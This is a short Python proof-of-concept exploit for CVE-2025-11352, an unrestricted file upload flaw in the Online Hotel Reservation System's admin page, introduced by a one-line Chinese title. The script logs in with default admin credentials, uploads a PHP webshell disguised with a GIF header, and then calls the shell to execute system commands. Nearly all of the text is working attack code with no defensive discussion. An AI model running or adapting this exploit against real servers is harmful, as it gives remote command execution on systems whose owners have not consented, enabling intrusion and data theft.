CVE-2025-11352：Online Hotel Reservation System任意文件上传漏洞

# CVE-2025-11352 PoC - Online Hotel Reservation System Unrestricted File Upload # Vulnerability: Unrestricted file upload in /admin/addexec.php via 'image' parameter # Affected: code-projects Online Hotel Reservation System 1.0 import requests TARGET_URL = "http://target.com" ADMIN_LOGIN_URL = f"{TARGET_URL}/admin/login.php" UPLOAD_URL = f"{TARGET_URL}/admin/addexec.php" USERNAME = "admin" PASSWORD = "admin" # Default or brute-forced credentials # Step 1: Login as admin to obtain session cookie session = requests.Session() login_data = { "username": USERNAME, "password": PASSWORD, "login": "submit" } session.post(ADMIN_LOGIN_URL, data=login_data) # Step 2: Prepare malicious PHP webshell disguised as image # The server fails to validate file type/extension, allowing .php upload webshell_content = b"GIF89a\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff\x00\x00\x00!\xf9\x04\x01\x00\x00\x00\x00,\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02D\x01\x00;<?php echo system($_GET['cmd']); ?>" files = { "image": ("shell.php", webshell_content, "image/gif") } # Step 3: Upload the malicious file via the vulnerable endpoint data = { "name": "TestHotel", "city": "TestCity", "rate": "100", "description": "Test" } response = session.post(UPLOAD_URL, files=files, data=data) print(f"Upload response status: {response.status_code}") # Step 4: Access the uploaded webshell to execute commands # The shell.php will be uploaded to the images directory SHELL_URL = f"{TARGET_URL}/admin/images/shell.php?cmd=id" shell_response = requests.get(SHELL_URL) print(f"Command execution result: {shell_response.text}")